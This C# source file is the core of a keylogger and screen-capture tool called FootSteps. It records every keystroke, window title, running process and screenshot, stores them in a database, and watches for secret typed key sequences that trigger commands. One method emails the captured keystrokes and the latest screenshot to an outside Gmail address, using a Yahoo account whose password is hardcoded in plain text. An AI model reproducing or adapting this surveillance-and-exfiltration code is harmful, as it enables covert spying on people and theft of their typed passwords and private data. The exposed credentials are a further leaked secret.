﻿using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Data.Entity;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using FootSteps.Data;
using FootSteps.Domain.Loggers.Keyboard;
using FootSteps.Domain.Loggers.Proccess;
using FootSteps.Domain.Loggers.Screen;
using FootSteps.Domain.Loggers.Window;

namespace FootSteps.Domain.Loggers
{
    public class LoggerManager : DG.Common.Patterns.MVVM.ViewModelBase
    {
        public delegate void LogEventHandler(string s);
        public event LogEventHandler OnLogEvent;
        
        private Dictionary<string, Action> _commands = new Dictionary<string, Action>();
        private Queue<string> _lastEvents = new Queue<string>();
        private TimeSpan _persistenceInterval;
        private int _maxLastEventCount;

        public KeyboardInterceptor KeyboardLogger { get; private set; }
        public PrintScreenLogger PrintScreenLogger { get; private set; }
        public OpenWindowLogger OpenWindowLogger { get; private set; }
        public OpenProcessLogger OpenProcessLogger { get; private set; }

        public TimeSpan PersistenceInterval
        {
            get { return _persistenceInterval; }
            set
            {
                if (value.Equals(_persistenceInterval)) return;
                _persistenceInterval = value;
                OnPropertyChanged("PersistenceInterval");
            }
        }

        public int MaxLastEventCount
        {
            get { return _maxLastEventCount; }
            set
            {
                if (value == _maxLastEventCount) return;
                _maxLastEventCount = value;
                OnPropertyChanged("MaxLastEventCount");
            }
        }

        public IEnumerable<String> Commands
        {
            get
            {
                return _commands.Keys.ToArray();
            }
        }
        public IEnumerable<String> LastEvents
        {
            get
            {
                return _lastEvents.ToArray();
            }
        }

        public LoggerManager()
        {
            KeyboardLogger = new KeyboardInterceptor();
            PrintScreenLogger = new PrintScreenLogger();
            OpenWindowLogger = new OpenWindowLogger();
            OpenProcessLogger = new OpenProcessLogger();

            MaxLastEventCount = 10000;
            PersistenceInterval = new TimeSpan(0, 0, 1, 0, 0);
            
            SetCommandsListener();
            SetLogListener();
            
            
            
            SetPersistence();
        }

        private void SetCommandsListener()
        {
            var queue = new Queue<string>();
            KeyboardLogger.OnKeyDown += k => Task.Factory.StartNew(() =>
            {
                Thread.Sleep(100);
                queue.Enqueue(k + "");

                var maxSize = _commands.Keys.Max(c => c.Length);

                if (queue.Count > maxSize) queue.Dequeue();
                var currentStrings = string.Join("", queue);

                foreach (var command in _commands.Where(c => currentStrings.EndsWith(c.Key)).ToArray())
                {
                    Console.WriteLine("Command Activated: " + command.Key);
                    command.Value();
                    queue.Clear();
                }
            });
        }

        private void SetLogListener()
        {
            Action<string> log = s =>
            {
                _lastEvents.Enqueue(s);
                if (_lastEvents.Count > MaxLastEventCount) _lastEvents.Dequeue();

                if (OnLogEvent != null) OnLogEvent(s);
                OnPropertyChanged("LastEvents");
            };

            PrintScreenLogger.OnPrintScreenTakenChange += e => log(e.ToString());
            KeyboardLogger.OnKeyDown += e => log(e.ToString());
            OpenWindowLogger.OnWindowChange += args => args.ToList().ForEach(a => log(a.ToString()));
            OpenProcessLogger.OnProcessChange += args => args.ToList().ForEach(a => log(a.ToString()));
        }

        private void SetPersistence()
        {
            var pendingsEntities = new ConcurrentQueue<object>();
            var cancelationToken = new CancellationTokenSource();
            Task.Factory.StartNew(() =>
            {
                while (true)
                {
                    if (cancelationToken.IsCancellationRequested) return;
                    using (var ctx = new FootStepsContext())
                    {
                        while (pendingsEntities.Any())
                        {
                            object entity;
                            if (pendingsEntities.TryDequeue(out entity))
                            {
                                ctx.Set(entity.GetType()).Add(entity);
                            }
                        }
                        try
                        {
                            var insertions = string.Join(",", ctx.ChangeTracker.Entries().Where(e => e.State == EntityState.Added)
                                .GroupBy(e => e.Entity.GetType())
                                .Select(e => "[" + e.Key.Name + ": " + e.Count()+"]"));
                            ctx.SaveChanges();
                            Console.WriteLine("Persistence Cache Saved. Entities Saved-> {0}", insertions);
                        }
                        catch (Exception ex)
                        {                            
                            throw ex;
                        }
                        
                    }
                    Thread.Sleep(PersistenceInterval);
                }
            },cancelationToken.Token);

            KeyboardLogger.OnKeyDown += e => pendingsEntities.Enqueue(new KeyboardLog
            {
                Capital = e.Capital,
                Control = e.Control,
                Shift = e.Shift,
                Date = e.Time,
                Keys = e.Keys
            });
            OpenProcessLogger.OnProcessChange += logs => logs.ToList()
                .ForEach(e => pendingsEntities.Enqueue(new OpenProcessLog
                    {
                        Date = e.Time,
                        State = e.State,
                        ProcessName = e.ProcessName,
                        ProcessId = e.Process.Id
                    }
            ));
            OpenWindowLogger.OnWindowChange += logs => logs.ToList()
                .ForEach(e => pendingsEntities.Enqueue(new OpenWindowLog
                    {
                        Date = e.Time,
                        State = e.State,
                        WindowTitle = e.OpenWindow.Title
                    }
            ));
            PrintScreenLogger.OnPrintScreenTakenChange += e =>
            {
                var image = new PrintScreenLogImage {ImageBytes = e.ImageBytes};
                var entity = new PrintScreenLog
                {
                    Date = e.Time,
                    IsFullPrint = e.IsFullPrint,
                    Image = image
                };
                entity.Image.Compress();
                pendingsEntities.Enqueue(entity);
            };
        }

        public void StartAll()
        {
            KeyboardLogger.Start();
            PrintScreenLogger.Start();
            OpenProcessLogger.Start();
            OpenWindowLogger.Start();
        }
        public void StopAll()
        {
            KeyboardLogger.Stop();
            PrintScreenLogger.Stop();
            OpenProcessLogger.Stop();
            OpenWindowLogger.Stop();
        }

        public void SetCommand(string command, Action action)
        {
            _commands[command] = action;
            OnPropertyChanged("Commands");
        }

        public void SendLastResumeByEmail()
        {
            Console.WriteLine("Preparing to send email...");
            var fromAddress = new MailAddress("gedomingos@yahoo.com", "FootSteps");
            var toAddress = new MailAddress("gedomingos@gmail.com", "Client");
            const string fromPassword = "pmantp8o";
            const string subject = "LastResume";
            
            var smtp = new SmtpClient
            {
                Host = "smtp.mail.yahoo.com",
                Port = 587,
                EnableSsl = true
            };
            smtp.UseDefaultCredentials = false;
            smtp.Credentials = new NetworkCredential(fromAddress.Address, fromPassword);
            var body = string.Join(Environment.NewLine, _lastEvents.ToArray());

            using (var byteStream = new MemoryStream(PrintScreenLogger.LastScreenShotBytes))
            using (var attachImage = new Bitmap(byteStream))
            using (var memStream = new MemoryStream())
            using (var message = new MailMessage(fromAddress, toAddress){ Subject = subject, Body = body})
            {
                attachImage.Save(memStream, ImageFormat.Png);
                memStream.Position = 0;
                message.Attachments.Add(new Attachment(memStream, "LastPrint.png"));
                Console.WriteLine("Sending email...");
                smtp.Send(message);
                Console.WriteLine("Email sent to " + toAddress);
            }
        }
    }
}
